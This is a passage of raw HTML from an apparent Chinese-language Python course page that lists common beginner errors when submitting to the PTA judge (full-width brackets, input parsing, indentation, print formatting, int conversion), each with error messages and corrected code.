\n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    先本地测试能通过再提交\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    全角的符号\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#input\" class=\"md-nav__link\">\n    input只读取输入的一行\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"input只读取输入的一行\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#map\" class=\"md-nav__link\">\n    扩展一下：你可以使用map函数来批量调用函数\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    不要输出任何多余的提示信息\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#input_1\" class=\"md-nav__link\">\n    input函数返回的是字符串\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#int-c\" class=\"md-nav__link\">\n    注意类型转换的int是要调用的 和C语言不一样\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    注意括号的匹配\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    方法是需要调用的\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    注意缩进 不能有多余空格\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#print\" class=\"md-nav__link\">\n    print的用法\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"print的用法\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#f-string\" class=\"md-nav__link\">\n    你还可以使用f-string\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    注意引号括号的匹配，尤其是变得复杂的时候\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#forifelse\" class=\"md-nav__link\">\n    for,if,else右边都要有分号，每个分号的下一行增加缩进\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    继续强调 不要出现中文括号\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#return-0\" class=\"md-nav__link\">\n    不要出现return 0\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    看清题目\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"看清题目\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#int\" class=\"md-nav__link\">\n    输入实数别用int()\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    看清题目输入的格式\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    看清题目的允许范围\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    复制粘贴题目的文本就行 不要自己敲\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    不要追求一行写完\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    乘法要写乘号\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#int_1\" class=\"md-nav__link\">\n    int用作进制转换 参数是 字符串,整数\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#join\" class=\"md-nav__link\">\n    字符串的join 需要每个元素都是字符串\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    注意边缘情况\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_16\" class=\"md-nav__link\">\n    学会自己造数据\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_17\" class=\"md-nav__link\">\n    注意输出格式对顺序的要求\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_18\" class=\"md-nav__link\">\n    如何判断一个字符是整数？\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_19\" class=\"md-nav__link\">\n    字符串比较大小是个坑\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sortsorted\" class=\"md-nav__link\">\n    区分.sort()和sorted\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_20\" class=\"md-nav__link\">\n    格式化字符串们\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"格式化字符串们\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#52f\" class=\"md-nav__link\">\n    \"%5.2f\"是啥意思\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_21\" class=\"md-nav__link\">\n    那我要居中怎么办\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_22\" class=\"md-nav__link\">\n    格式化字符串想输出几个变量就要写几个\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#thonny\" class=\"md-nav__link\">\n    Thonny的用法\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_23\" class=\"md-nav__link\">\n    初始化能在循环体内吗？\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_24\" class=\"md-nav__link\">\n    学会拆分问题 大而化小\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#andor\" class=\"md-nav__link\">\n    混在一起的and和or\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"混在一起的and和or\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#a-and-b\" class=\"md-nav__link\">\n    a and b\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#a-or-b\" class=\"md-nav__link\">\n    a or b\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_25\" class=\"md-nav__link\">\n    哪些东西是假的？\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_26\" class=\"md-nav__link\">\n    行末到底要不要输出空格\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_27\" class=\"md-nav__link\">\n    怎样做到末尾不输出空格\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"怎样做到末尾不输出空格\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#1resultprintresult\" class=\"md-nav__link\">\n    方案1：把要输出的东西暂时存到数组result里，最后print(*result)\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#2\" class=\"md-nav__link\">\n    方案2：区分首元素和其后的元素\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#printn\" class=\"md-nav__link\">\n    如何正确地换行 print('\\n')是不行的\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_28\" class=\"md-nav__link\">\n    循环初始化 放在正确的位置\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_29\" class=\"md-nav__link\">\n    填空题别出现中文引号\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_30\" class=\"md-nav__link\">\n    怎么正确地判断素数\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_31\" class=\"md-nav__link\">\n    运行超时怎么破？\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"运行超时怎么破？\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_32\" class=\"md-nav__link\">\n    记住判断素数可以开根号啊！\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_33\" class=\"md-nav__link\">\n    题目给的上界一定会有测试点\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_34\" class=\"md-nav__link\">\n    想想怎么简化计算\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python-homework-review\" class=\"md-nav__link\">\n    Python Homework Review\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"python\">Python程序设计课程<a class=\"headerlink\" href=\"#python\" title=\"Permanent link\">&para;</a></h1>\n<h2 id=\"_1\">先本地测试能通过再提交<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>PTA没有提供详细的报错，你都不知道错哪了怎么改，建议你试试本文提到的错误，记住错误信息下次遇到也就不慌了</p>\n<p>本地Python跑成功再提交提高效率，省点时间</p>\n<h2 id=\"_2\">全角的符号<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>a=int（input（））\nb=int（input（））\nprint(a+b)\n</code></pre></div>\n\n<p>报错：</p>\n<div class=\"codehilite\"><pre><span></span><code>  File &quot;&lt;stdin&gt;&quot;, line 1\n    a=int（input（））\n                 ^\nSyntaxError: invalid character in identifier\n</code></pre></div>\n\n<p>看出<code>(</code>与<code>（</code>的区别了嘛，Python语言的括号要求半角的括号</p>\n<p><strong>解决方案： 关掉中文输入法！</strong></p>\n<h2 id=\"input\">input只读取输入的一行<a class=\"headerlink\" href=\"#input\" title=\"Permanent link\">&para;</a></h2>\n<p>看清楚题目，如果题目有两行输入，就需要两次input()</p>\n<p>如果题目只有一行输入，比如一行同时给了两个数空格分隔，你需要<code>input().split()</code></p>\n<h3 id=\"map\">扩展一下：你可以使用<code>map</code>函数来批量调用函数<a class=\"headerlink\" href=\"#map\" title=\"Permanent link\">&para;</a></h3>\n<p>用法是<code>map(目标函数，列表)</code></p>\n<p>返回 列表每个元素调用目标函数的结果的<strong>迭代器 iterator</strong>，再用list可以得到列表</p>\n<p>举个例子题目要在一行中输入多个整数</p>\n<div class=\"codehilite\"><pre><span></span><code># map实际上返回的是迭代器，被读到的时候才会真正调用目标函数，想得到列表还需要用list\n&gt;&gt;&gt; map(int, input().split())\n222 444\n&lt;map object at 0x000001D87FB4DAC8&gt;\n\n&gt;&gt;&gt; list(map(int, input().split()))\n222 444\n[222, 444]\n\n&gt;&gt;&gt; a, b = map(int, input().split())\n333 555\n&gt;&gt;&gt; a\n333\n&gt;&gt;&gt; b\n555\n</code></pre></div>\n\n<h2 id=\"_3\">不要输出任何多余的提示信息<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>A=int(input(&#39;被加数&#39;))\nB=int(input(&#39;加数&#39;))\nprint(A+B)\n</code></pre></div>\n\n<p>PTA判题就是判断你程序的输出是否 <strong>和标准答案完全一致 完全一致 完全一致</strong></p>\n<p>题目没有要求你输出<code>被加数</code>这种提示信息，你就啥也别输出，不要画蛇添足！ </p>\n<p><strong>解决方案： 直接input()就行了</strong></p>\n<h2 id=\"input_1\">input函数返回的是字符串<a class=\"headerlink\" href=\"#input_1\" title=\"Permanent link\">&para;</a></h2>\n<p>别忘了把字符串转成你需要的类型，比如int()</p>\n<p>字符串加字符串是拼接， 字符串不能和整数相加</p>\n<div class=\"codehilite\"><pre><span></span><code>&gt;&gt;&gt; &quot;1&quot;+&quot;2&quot;\n&#39;12&#39;\n&gt;&gt;&gt; 1+2\n3\n&gt;&gt;&gt; &quot;1&quot;+2\nTraceback (most recent call last):\n  File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;\nTypeError: can only concatenate str (not &quot;int&quot;) to str\n</code></pre></div>\n\n<h2 id=\"int-c\">注意类型转换的int是要调用的 和C语言不一样<a class=\"headerlink\" href=\"#int-c\" title=\"Permanent link\">&para;</a></h2>\n<p>这是C语言的语法，Python不支持</p>\n<div class=\"codehilite\"><pre><span></span><code>sum = (int)x + (int)y\n</code></pre></div>\n\n<p>应该写：</p>\n<div class=\"codehilite\"><pre><span></span><code>sum = int(x) + int(y)\n</code></pre></div>\n\n<p>另外 不建议命名为sum，因为sum本身是Python的内置函数 你赋值了就不能再调用原来的sum函数了</p>\n<p>如果你覆盖了sum之后再去调用sum函数 会报错</p>\n<div class=\"codehilite\"><pre><span></span><code>&gt;&gt;&gt; sum=1\n&gt;&gt;&gt; sum([1,2])\nTraceback (most recent call last):\n  File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;\nTypeError: &#39;int&#39; object is not callable\n</code></pre></div>\n\n<p>你还可以这么做：用map和列表推导式</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">s</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">sum</span><span class=\"ss\">(</span><span class=\"nv\">map</span><span class=\"ss\">(</span><span class=\"nv\">int</span>,<span class=\"w\"> </span>[<span class=\"nv\">x</span>,<span class=\"nv\">y</span>]<span class=\"ss\">))</span>\n<span class=\"nv\">s</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">sum</span><span class=\"ss\">(</span>[<span class=\"nv\">int</span><span class=\"ss\">(</span><span class=\"nv\">i</span><span class=\"ss\">)</span><span class=\"w\"> </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span>[<span class=\"nv\">x</span>,<span class=\"nv\">y</span>]]<span class=\"ss\">)</span>\n</code></pre></div>\n\n<h2 id=\"_4\">注意括号的匹配<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>a,b,c=map(int,(input().split())\n</code></pre></div>\n\n<p>多了一个(， 细心一点即可 报错：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">SyntaxError</span><span class=\"o\">:</span><span class=\"w\"> </span><span class=\"n\">unexpected</span><span class=\"w\"> </span><span class=\"n\">EOF</span><span class=\"w\"> </span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"n\">parsing</span>\n</code></pre></div>\n\n<h2 id=\"_5\">方法是需要调用的<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>a,b,c=input().split\n</code></pre></div>\n\n<p>末尾少了() 报错：</p>\n<div class=\"codehilite\"><pre><span></span><code>Traceback (most recent call last):\n  File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;\nTypeError: cannot unpack non-iterable builtin_function_or_method object\n</code></pre></div>\n\n<h2 id=\"_6\">注意缩进 不能有多余空格<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>s=&quot;Python语言简单易学&quot;  \n     print(s)\n</code></pre></div>\n\n<p>第二行多了前面的空格，会报错：</p>\n<div class=\"codehilite\"><pre><span></span><code>  File &quot;&lt;stdin&gt;&quot;, line 1\n    print(s)\n    ^\nIndentationError: unexpected indent\n</code></pre></div>\n\n<hr />\n<h2 id=\"print\">print的用法<a class=\"headerlink\" href=\"#print\" title=\"Permanent link\">&para;</a></h2>\n<p>错误示例：</p>\n<div class=\"codehilite\"><pre><span></span><code>print(sum = s)\n</code></pre></div>\n\n<p>你要站在语言开发者的角度思考，你括号里sum表示的是字面意思上的&rdquo;sum&rdquo;字符串呢还是内置的sum函数呢？语言的设计要保证没有歧义</p>\n<p>正确的写法：需要原样输出的都要加上引号！</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;sum =&quot;</span><span class=\"p\">,</span> <span class=\"n\">s</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>这个题目要求等号两边有空格，如果没有注意到这一点会<strong>格式错误</strong></p>\n<p>print可以接受不定数量的参数，在输出的时候<strong>每个参数之间会加上空格</strong>，所以上述字符串里等号<strong>右边是不写空格</strong>的</p>\n<h3 id=\"f-string\">你还可以使用f-string<a class=\"headerlink\" href=\"#f-string\" title=\"Permanent link\">&para;</a></h3>\n<p>上述写法可以替换成：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nb\">print</span><span class=\"p\">(</span> <span class=\"sa\">f</span><span class=\"s2\">&quot;sum = </span><span class=\"si\">{</span><span class=\"n\">s</span><span class=\"si\">}</span><span class=\"s2\">&quot;</span> <span class=\"p\">)</span>\n</code></pre></div>\n\n<p>注意到字符串引号前面的f，说明这个字符串是一个模板，Python遇到这个字符串会自动把s的值填进去。</p>\n<p>f-string在Python3.7里面引入，PTA是支持的，如果你的Python版本低于3.7，你可以用这些通用的写法（只是不够美观了）：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;sum = </span><span class=\"si\">{}</span><span class=\"s2\">&quot;</span><span class=\"o\">.</span><span class=\"n\">format</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">))</span> <span class=\"c1\"># 需要记清楚多个变量之间的顺序 </span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;sum = </span><span class=\"si\">{s}</span><span class=\"s2\">&quot;</span><span class=\"o\">.</span><span class=\"n\">format</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"o\">=</span><span class=\"n\">s</span><span class=\"p\">))</span> <span class=\"c1\"># 每个变量都要写一遍</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;sum = </span><span class=\"si\">{s}</span><span class=\"s2\">&quot;</span><span class=\"o\">.</span><span class=\"n\">format</span><span class=\"p\">(</span><span class=\"o\">**</span><span class=\"nb\">locals</span><span class=\"p\">()))</span> <span class=\"c1\"># 直接把所有局部变量都提供给format 就不用自己写了</span>\n<span class=\"c1\"># 如果用在函数里，你可能想输出全局变量，未完待续</span>\n</code></pre></div>\n\n<h3 id=\"_7\">注意引号括号的匹配，尤其是变得复杂的时候<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h3>\n<p>错误示例 看看引号的结束位置</p>\n<div class=\"codehilite\"><pre><span></span><code>print(f&#39;f({x:.1f}) = {1/x:.1f&#39;})\n</code></pre></div>\n\n<p>正确的写法是</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"sa\">f</span><span class=\"s1\">&#39;f(</span><span class=\"si\">{</span><span class=\"n\">x</span><span class=\"si\">:</span><span class=\"s1\">.1f</span><span class=\"si\">}</span><span class=\"s1\">) = </span><span class=\"si\">{</span><span class=\"mi\">1</span><span class=\"o\">/</span><span class=\"n\">x</span><span class=\"si\">:</span><span class=\"s1\">.1f</span><span class=\"si\">}</span><span class=\"s1\">&#39;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<h2 id=\"forifelse\">for,if,else右边都要有分号，每个分号的下一行增加缩进<a class=\"headerlink\" href=\"#forifelse\" title=\"Permanent link\">&para;</a></h2>\n<p>错误示例</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">num</span> <span class=\"o\">=</span> <span class=\"nb\">float</span><span class=\"p\">(</span><span class=\"nb\">input</span><span class=\"p\">())</span>\n<span class=\"k\">if</span> <span class=\"n\">num</span> <span class=\"o\">&lt;</span> <span class=\"mi\">0</span> <span class=\"p\">:</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s1\">&#39;Invalid Value!&#39;</span><span class=\"p\">)</span>\n<span class=\"k\">elif</span> <span class=\"n\">num</span> <span class=\"o\">&lt;=</span> <span class=\"mi\">50</span><span class=\"p\">:</span>\n    <span class=\"n\">cost</span> <span class=\"o\">=</span> <span class=\"n\">num</span> <span class=\"o\">*</span> <span class=\"mf\">0.53</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;cost = </span><span class=\"si\">%.2f</span><span class=\"s2\">&quot;</span> <span class=\"o\">%</span>  <span class=\"n\">cost</span><span class=\"p\">)</span>\n<span class=\"k\">else</span><span class=\"p\">:</span>\n    <span class=\"n\">cost</span> <span class=\"o\">=</span> <span class=\"mi\">50</span><span class=\"o\">*</span><span class=\"mf\">0.53</span><span class=\"o\">+</span><span class=\"p\">(</span><span class=\"n\">num</span><span class=\"o\">-</span><span class=\"mi\">50</span><span class=\"p\">)</span><span class=\"o\">*</span><span class=\"p\">(</span><span class=\"mf\">0.05</span><span class=\"o\">+</span><span class=\"mf\">0.53</span><span class=\"p\">)</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;cost = </span><span class=\"si\">%.2f</span><span class=\"s2\">&quot;</span> <span class=\"o\">%</span>  <span class=\"n\">cost</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>elif里面的print没有缩进，else必须和elif和if平级，之间的代码必须更多缩进</p>\n<p>修改方法：去掉上面的print或者两处print都增加缩进</p>\n<h2 id=\"_8\">继续强调 不要出现中文括号<a class=\"headerlink\" href=\"#_8\" title=\"Permanent link\">&para;</a></h2>\n<p>顺带强调不要在PTA里解题，先去Python IDLE或者thonny里<strong>本地做出来再复制粘贴提交</strong></p>\n<p>你的每次错误提交我都会看，你反复出现同一次错误让我很烦</p>\n<p>你信不信这个错误下次作业还会出现</p>\n<p>错误示例</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">if</span><span class=\"err\">（</span><span class=\"n\">x</span><span class=\"o\">&lt;</span><span class=\"mi\">0</span><span class=\"err\">）</span><span class=\"p\">:</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;Invalid Value!&quot;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>Python的if也不需要括号，直接写就行</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">if</span> <span class=\"n\">x</span><span class=\"o\">&lt;</span><span class=\"mi\">0</span><span class=\"p\">:</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;Invalid Value!&quot;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<h2 id=\"return-0\">不要出现return 0<a class=\"headerlink\" href=\"#return-0\" title=\"Permanent link\">&para;</a></h2>\n<p>如果你一定要让程序立刻退出，用<code>exit(0)</code>，效果等价于C语言main函数里<code>return 0;</code></p>\n<h2 id=\"_9\">看清题目<a class=\"headerlink\" href=\"#_9\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"int\">输入实数别用int()<a class=\"headerlink\" href=\"#int\" title=\"Permanent link\">&para;</a></h3>\n<p>题目说 \n输入在一行中给出<strong>实数</strong>x</p>\n<p>你需要<code>float(input())</code></p>\n<h3 id=\"_10\">看清题目输入的格式<a class=\"headerlink\" href=\"#_10\" title=\"Permanent link\">&para;</a></h3>\n<p>比如题目输入的例子是这样的</p>\n<div class=\"codehilite\"><pre><span></span><code>  1,  5\n</code></pre></div>\n\n<p>你就不能用 <code>a,b=input().split()</code></p>\n<p>而应该 <code>a,b=input().split(',')</code></p>\n<p>也不应该两次input()，只有输入是两行的时候才能调用两次input</p>\n<h3 id=\"_11\">看清题目的允许范围<a class=\"headerlink\" href=\"#_11\" title=\"Permanent link\">&para;</a></h3>\n<p>题目说 lower≤upper≤100，那么肯定就会有测试点lower等于upper，这是符合要求的 不要错误的输出了\nInvalid.</p>\n<h2 id=\"_12\">复制粘贴题目的文本就行 不要自己敲<a class=\"headerlink\" href=\"#_12\" title=\"Permanent link\">&para;</a></h2>\n<p>自己输入就容易出错，从题目复制多简单</p>\n<h2 id=\"_13\">不要追求一行写完<a class=\"headerlink\" href=\"#_13\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">cost</span> <span class=\"o\">=</span> <span class=\"nb\">float</span><span class=\"p\">(</span><span class=\"nb\">input</span><span class=\"p\">())</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;Invalid Value!&quot;</span> <span class=\"k\">if</span> <span class=\"n\">m</span><span class=\"o\">&lt;</span><span class=\"mi\">0</span> <span class=\"k\">else</span> <span class=\"s2\">&quot;cost = &quot;</span><span class=\"o\">+</span><span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"nb\">format</span><span class=\"p\">(</span><span class=\"mf\">0.53</span> <span class=\"o\">*</span> <span class=\"n\">cost</span> <span class=\"o\">+</span> <span class=\"p\">(</span><span class=\"mi\">0</span> <span class=\"k\">if</span> <span class=\"n\">cost</span> <span class=\"o\">&lt;=</span> <span class=\"mi\">50</span> <span class=\"k\">else</span> <span class=\"mf\">0.05</span> <span class=\"o\">*</span> <span class=\"p\">(</span><span class=\"n\">cost</span><span class=\"o\">-</span><span class=\"mi\">50</span><span class=\"p\">)),</span><span class=\"s1\">&#39;.2f&#39;</span><span class=\"p\">)))</span>\n</code></pre></div>\n\n<p>代码是给人看的，这种写法不容易看出哪里出错了，老老实实写if呗</p>\n<p>这个错误是未定义的m</p>\n<p>另外变量的命名，题目输入的是电量，与cost命名不一致，这会让读者困惑（读者很有可能就是以后的你，不要给自己挖坑）</p>\n<h2 id=\"_14\">乘法要写乘号<a class=\"headerlink\" href=\"#_14\" title=\"Permanent link\">&para;</a></h2>\n<p>错误写法：<code>2i</code> 报错<code>SyntaxError: invalid syntax</code></p>\n<p>正确写法：<code>2*i</code></p>\n<p>错误写法：<code>area=sqrt(s(s−a)(s−b)(s−c))</code>  报错<code>TypeError: 'int' object is not callable</code></p>\n<p>正确写法：<code>area=sqrt(s*(s−a)*(s−b)*(s−c))</code></p>\n<h2 id=\"int_1\">int用作进制转换 参数是 字符串,整数<a class=\"headerlink\" href=\"#int_1\" title=\"Permanent link\">&para;</a></h2>\n<p>你需要给出正确的类型 否则报错：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">&gt;&gt;&gt;</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"s2\">&quot;100&quot;</span><span class=\"p\">,</span><span class=\"mi\">2</span><span class=\"p\">)</span>\n<span class=\"mi\">4</span>\n\n<span class=\"o\">&gt;&gt;&gt;</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"mi\">100</span><span class=\"p\">,</span><span class=\"mi\">2</span><span class=\"p\">)</span>\n<span class=\"n\">Traceback</span> <span class=\"p\">(</span><span class=\"n\">most</span> <span class=\"n\">recent</span> <span class=\"n\">call</span> <span class=\"n\">last</span><span class=\"p\">):</span>\n  <span class=\"n\">File</span> <span class=\"s2\">&quot;&lt;stdin&gt;&quot;</span><span class=\"p\">,</span> <span class=\"n\">line</span> <span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"ow\">in</span> <span class=\"o\">&lt;</span><span class=\"n\">module</span><span class=\"o\">&gt;</span>\n<span class=\"ne\">TypeError</span><span class=\"p\">:</span> <span class=\"nb\">int</span><span class=\"p\">()</span> <span class=\"n\">can</span><span class=\"s1\">&#39;t convert non-string with explicit base</span>\n\n<span 